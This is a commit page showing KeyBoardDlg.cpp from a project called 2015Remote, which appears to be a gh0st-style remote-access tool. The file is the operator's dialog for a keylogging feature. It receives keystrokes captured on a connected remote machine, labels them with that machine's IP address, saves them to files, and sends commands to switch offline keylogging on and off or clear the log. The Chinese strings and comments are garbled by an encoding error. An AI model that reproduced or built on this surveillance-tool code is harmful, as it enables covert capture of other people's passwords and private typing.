feature: Add keyboard record feature
This commit is contained in:
yuanyuanxiang
215
server/2015Remote/KeyBoardDlg.cpp
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215
server/2015Remote/KeyBoardDlg.cpp
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// KeyBoardDlg.cpp : implementation file
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//
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#include "stdafx.h"
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#include <WinUser.h>
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#include "KeyBoardDlg.h"
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#ifdef _DEBUG
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#define new DEBUG_NEW
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#undef THIS_FILE
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static char THIS_FILE[] = __FILE__;
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#endif
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#define IDM_ENABLE_OFFLINE 0x0010
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#define IDM_CLEAR_RECORD 0x0011
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#define IDM_SAVE_RECORD 0x0012
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/////////////////////////////////////////////////////////////////////////////
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// CKeyBoardDlg dialog
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CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
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: CDialog(CKeyBoardDlg::IDD, pParent)
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{
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//{{AFX_DATA_INIT(CKeyBoardDlg)
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// NOTE: the ClassWizard will add member initialization here
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//}}AFX_DATA_INIT
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m_iocpServer = pIOCPServer;
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m_pContext = pContext;
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m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
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sockaddr_in sockAddr;
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memset(&sockAddr, 0, sizeof(sockAddr));
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int nSockAddrLen = sizeof(sockAddr);
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BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
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m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
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m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
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}
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void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
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{
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CDialog::DoDataExchange(pDX);
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//{{AFX_DATA_MAP(CKeyBoardDlg)
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DDX_Control(pDX, IDC_EDIT, m_edit);
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//}}AFX_DATA_MAP
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}
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BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
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//{{AFX_MSG_MAP(CKeyBoardDlg)
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ON_WM_SIZE()
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ON_WM_CLOSE()
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ON_WM_SYSCOMMAND()
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//}}AFX_MSG_MAP
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END_MESSAGE_MAP()
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/////////////////////////////////////////////////////////////////////////////
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// CKeyBoardDlg message handlers
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void CKeyBoardDlg::PostNcDestroy()
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{
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// TODO: Add your specialized code here and/or call the base class
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delete this;
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CDialog::PostNcDestroy();
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}
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BOOL CKeyBoardDlg::OnInitDialog()
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{
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CDialog::OnInitDialog();
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// TODO: Add extra initialization here
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SetIcon(m_hIcon, TRUE); // Set big icon
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SetIcon(m_hIcon, FALSE); // Set small icon
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CMenu* pSysMenu = GetSystemMenu(FALSE);
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if (pSysMenu != NULL) {
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//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
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pSysMenu->AppendMenu(MF_SEPARATOR);
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pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼(&O)");
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pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>¼(&C)");
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pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼(&S)");
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if (m_bIsOfflineRecord)
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pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
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}
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UpdateTitle();
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m_edit.SetLimitText(MAXDWORD); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
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BYTE bToken = COMMAND_NEXT;
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m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
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return TRUE; // return TRUE unless you set the focus to a control
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// EXCEPTION: OCX Property Pages should return FALSE
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}
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void CKeyBoardDlg::UpdateTitle()
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{
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CString str;
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str.Format(_T("%s - <20><><EFBFBD>̼<EFBFBD>¼"), m_IPAddress);
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if (m_bIsOfflineRecord)
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str += " (<28><><EFBFBD><EFBFBD>¼<EFBFBD>ѿ<EFBFBD><D1BF><EFBFBD>)";
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else
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str += " (<28><><EFBFBD><EFBFBD>¼δ<C2BC><CEB4><EFBFBD><EFBFBD>)";
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SetWindowText(str);
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}
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void CKeyBoardDlg::OnReceiveComplete()
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{
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switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) {
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case TOKEN_KEYBOARD_DATA:
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AddKeyBoardData();
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break;
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default:
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return;
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}
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}
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void CKeyBoardDlg::AddKeyBoardData()
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{
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// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
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m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
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int len = m_edit.GetWindowTextLength();
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m_edit.SetSel(len, len);
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m_edit.ReplaceSel((TCHAR *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
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}
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bool CKeyBoardDlg::SaveRecord()
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{
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CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
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CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "<EFBFBD>ı<EFBFBD><EFBFBD>ĵ<EFBFBD>(*.txt)|*.txt|", this);
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if(dlg.DoModal () != IDOK)
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return false;
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CFile file;
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if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
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MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>");
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return false;
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}
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// Write the DIB header and the bits
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CString strRecord;
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m_edit.GetWindowText(strRecord);
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file.Write(strRecord, strRecord.GetLength());
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file.Close();
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return true;
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}
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void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
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{
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if (nID == IDM_ENABLE_OFFLINE) {
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CMenu* pSysMenu = GetSystemMenu(FALSE);
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if (pSysMenu != NULL) {
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BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
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m_iocpServer->Send(m_pContext, &bToken, 1);
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m_bIsOfflineRecord = !m_bIsOfflineRecord;
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if (m_bIsOfflineRecord)
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pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
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else
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pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
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}
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UpdateTitle();
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} else if (nID == IDM_CLEAR_RECORD) {
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BYTE bToken = COMMAND_KEYBOARD_CLEAR;
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m_iocpServer->Send(m_pContext, &bToken, 1);
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m_edit.SetWindowText("");
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} else if (nID == IDM_SAVE_RECORD) {
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SaveRecord();
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} else {
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CDialog::OnSysCommand(nID, lParam);
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}
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}
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void CKeyBoardDlg::ResizeEdit()
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{
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RECT rectClient;
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RECT rectEdit;
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GetClientRect(&rectClient);
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rectEdit.left = 0;
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rectEdit.top = 0;
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rectEdit.right = rectClient.right;
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rectEdit.bottom = rectClient.bottom;
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m_edit.MoveWindow(&rectEdit);
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}
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void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
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{
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CDialog::OnSize(nType, cx, cy);
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// TODO: Add your message handler code here
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if (IsWindowVisible())
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ResizeEdit();
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}
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BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
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{
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// TODO: Add your specialized code here and/or call the base class
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if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
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return true;
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}
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return CDialog::PreTranslateMessage(pMsg);
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}
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void CKeyBoardDlg::OnClose()
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{
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// TODO: Add your message handler code here and/or call default
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closesocket(m_pContext->m_Socket);
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CDialog::OnClose();
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}
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